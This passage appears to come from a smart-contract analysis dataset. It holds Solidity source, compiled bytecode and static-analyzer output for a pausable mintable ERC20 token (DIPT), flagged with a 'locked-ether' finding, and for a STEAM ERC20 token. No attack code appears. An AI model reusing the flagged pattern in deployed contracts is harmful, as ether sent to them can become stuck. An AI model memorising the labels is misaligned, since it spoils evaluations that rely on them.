/** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); bool public mintingFinished = false; uint public mintTotal = 0; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { uint tmpTotal = mintTotal.add(_amount); require(tmpTotal <= totalSupply_); mintTotal = mintTotal.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DecentralizedInternetProtocolToken is PausableToken, MintableToken { // public variables string public name = "Decentralized Internet Protocol Token"; string public symbol = "DIPT"; uint8 public decimals = 18; constructor() public { totalSupply_ = 4294967296 * (10 ** uint256(decimals)); } function () public payable { revert(); } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd14610209578063313ce567146102335780633f4ba83a1461025e57806340c10f19146102755780635c975abb1461029957806366188463146102ae57806370a08231146102d25780638456cb59146102f35780638da5cb5b1461030857806395d89b4114610339578063a9059cbb1461034e578063bca63e5014610372578063d73dd62314610387578063dd62ed3e146103ab578063f2fde38b146103d2575b600080fd5b34801561011757600080fd5b506101206103f3565b604080519115158252519081900360200190f35b34801561014057600080fd5b50610149610415565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a03600435166024356104a3565b3480156101ee57600080fd5b506101f76104ce565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a03600435811690602435166044356104d4565b34801561023f57600080fd5b50610248610501565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b5061027361050a565b005b34801561028157600080fd5b50610120600160a060020a0360043516602435610582565b3480156102a557600080fd5b506101206106c6565b3480156102ba57600080fd5b50610120600160a060020a03600435166024356106d6565b3480156102de57600080fd5b506101f7600160a060020a03600435166106fa565b3480156102ff57600080fd5b50610273610715565b34801561031457600080fd5b5061031d610792565b60408051600160a060020a039092168252519081900360200190f35b34801561034557600080fd5b506101496107a1565b34801561035a57600080fd5b50610120600160a060020a03600435166024356107fc565b34801561037e57600080fd5b506101f7610820565b34801561039357600080fd5b50610120600160a060020a0360043516602435610826565b3480156103b757600080fd5b506101f7600160a060020a036004358116906024351661084a565b3480156103de57600080fd5b50610273600160a060020a0360043516610875565b6003547501000000000000000000000000000000000000000000900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b820191906000526020600020905b81548152906001019060200180831161047e57829003601f168201915b505050505081565b60035460009060a060020a900460ff16156104bd57600080fd5b6104c7838361090a565b9392505050565b60015490565b60035460009060a060020a900460ff16156104ee57600080fd5b6104f9848484610970565b949350505050565b60075460ff1681565b600354600160a060020a0316331461052157600080fd5b60035460a060020a900460ff16151561053957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546000908190600160a060020a0316331461059e57600080fd5b6003547501000000000000000000000000000000000000000000900460ff16156105c757600080fd5b6004546105da908463ffffffff610ae716565b6001549091508111156105ec57600080fd5b6004546105ff908463ffffffff610ae716565b600455600160a060020a03841660009081526020819052604090205461062b908463ffffffff610ae716565b600160a060020a03851660008181526020818152604091829020939093558051868152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518481529051600160a060020a038616916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019392505050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156106f057600080fd5b6104c78383610afa565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461072c57600080fd5b60035460a060020a900460ff161561074357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b60035460009060a060020a900460ff161561081657600080fd5b6104c78383610bea565b60045481565b60035460009060a060020a900460ff161561084057600080fd5b6104c78383610ccb565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461088c57600080fd5b600160a060020a03811615156108a157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561098757600080fd5b600160a060020a0384166000908152602081905260409020548211156109ac57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156109dc57600080fd5b600160a060020a038416600090815260208190526040902054610a05908363ffffffff610d6416565b600160a060020a038086166000908152602081905260408082209390935590851681522054610a3a908363ffffffff610ae716565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610a7c908363ffffffff610d6416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610af457fe5b92915050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610b4f57336000908152600260209081526040808320600160a060020a0388168452909152812055610b84565b610b5f818463ffffffff610d6416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610c0157600080fd5b33600090815260208190526040902054821115610c1d57600080fd5b33600090815260208190526040902054610c3d908363ffffffff610d6416565b3360009081526020819052604080822092909255600160a060020a03851681522054610c6f908363ffffffff610ae716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cff908363ffffffff610ae716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610d7057fe5b509003905600a165627a7a723058204524b80135d72f0d52ca557e0f4adf2f54d18b1d4f7619afbfea62bbbdd7dde30029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
471
0xc67a3b1587b2421728750294f0a049e98eb0da65
pragma solidity 0.6.0; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context { using SafeMath for uint256; mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; //need to go public uint256 public _totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) virtual internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath{ /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract Steam is ERC20 { using SafeMath for uint256; modifier onlyUPS() { require(_UPS == _msgSender(), "onlyUPS: Only the UPStkn contract may call this function"); _; } string private _name; address public _UPS; string private _symbol; uint8 private _decimals; uint256 private _maxSupply; uint256 private _steamMinted = 0; event SteamGenerated(address account, uint amount); constructor(uint256 STEAM_maxTokens) public { _name = "STEAM"; _symbol = "STEAM"; _decimals = 18; _maxSupply = STEAM_maxTokens.mul(1e18); ERC20._mint(_msgSender(), 1e18); _UPS = _msgSender(); } function generateSteam(address account, uint256 amount) external onlyUPS { require((_totalSupply + amount) < _maxSupply, "STEAM token: cannot generate more steam than the max supply"); ERC20._mint(account, amount); _steamMinted = _steamMinted.add(amount); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return ERC20._totalSupply; } function mySteam(address _address) public view returns(uint256){ return balanceOf(_address); } function getSteamTotalSupply() public view returns(uint256){ return _totalSupply; } function getSteamMaxSupply() public view returns(uint256){ return _maxSupply; } function getSteamMinted() public view returns(uint256){ return _steamMinted; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636ebcf607116100ad57806398fd3f581161007157806398fd3f58146105ef578063a457c2d71461063d578063a9059cbb146106a3578063d2bd03b214610709578063dd62ed3e146107275761012c565b80636ebcf607146104545780636f309291146104ac57806370a08231146104f6578063931ad5091461054e57806395d89b411461056c5761012c565b80631ba6b604116100f45780631ba6b6041461030857806323b872dd14610326578063313ce567146103ac57806339509351146103d05780633eaaf86b146104365761012c565b8063024c2ddd146101315780630491d81f146101a957806306fdde0314610201578063095ea7b31461028457806318160ddd146102ea575b600080fd5b6101936004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061079f565b6040518082815260200191505060405180910390f35b6101eb600480360360208110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c4565b6040518082815260200191505060405180910390f35b6102096107d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024957808201518184015260208101905061022e565b50505050905090810190601f1680156102765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d06004803603604081101561029a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610878565b604051808215151515815260200191505060405180910390f35b6102f2610896565b6040518082815260200191505060405180910390f35b6103106108a0565b6040518082815260200191505060405180910390f35b6103926004803603606081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108aa565b604051808215151515815260200191505060405180910390f35b6103b4610983565b604051808260ff1660ff16815260200191505060405180910390f35b61041c600480360360408110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061099a565b604051808215151515815260200191505060405180910390f35b61043e610a4d565b6040518082815260200191505060405180910390f35b6104966004803603602081101561046a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a53565b6040518082815260200191505060405180910390f35b6104b4610a6b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105386004803603602081101561050c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a91565b6040518082815260200191505060405180910390f35b610556610ad9565b6040518082815260200191505060405180910390f35b610574610ae3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b4578082015181840152602081019050610599565b50505050905090810190601f1680156105e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61063b6004803603604081101561060557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b85565b005b6106896004803603604081101561065357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb9565b604051808215151515815260200191505060405180910390f35b6106ef600480360360408110156106b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d86565b604051808215151515815260200191505060405180910390f35b610711610da4565b6040518082815260200191505060405180910390f35b6107896004803603604081101561073d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dae565b6040518082815260200191505060405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60006107cf82610a91565b9050919050565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b5050505050905090565b600061088c610885610e35565b8484610e3d565b6001905092915050565b6000600254905090565b6000600254905090565b60006108b7848484611034565b610978846108c3610e35565b6109738560405180606001604052806028815260200161173b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610929610e35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea9092919063ffffffff16565b610e3d565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610a436109a7610e35565b84610a3e85600160006109b8610e35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113aa90919063ffffffff16565b610e3d565b6001905092915050565b60025481565b60006020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600754905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b7b5780601f10610b5057610100808354040283529160200191610b7b565b820191906000526020600020905b815481529060010190602001808311610b5e57829003601f168201915b5050505050905090565b610b8d610e35565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806117ac6038913960400191505060405180910390fd5b600754816002540110610c90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001806116b9603b913960400191505060405180910390fd5b610c9a8282611432565b610caf816008546113aa90919063ffffffff16565b6008819055505050565b6000610d7c610cc6610e35565b84610d77856040518060600160405280602581526020016117e46025913960016000610cf0610e35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea9092919063ffffffff16565b610e3d565b6001905092915050565b6000610d9a610d93610e35565b8484611034565b6001905092915050565b6000600854905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ec3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117886024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116976022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117636025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611140576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116746023913960400191505060405180910390fd5b6111ab816040518060600160405280602681526020016116f4602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ea9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113aa90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611397576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135c578082015181840152602081019050611341565b50505050905090810190601f1680156113895780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6114ea816002546113aa90919063ffffffff16565b600281905550611541816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113aa90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3e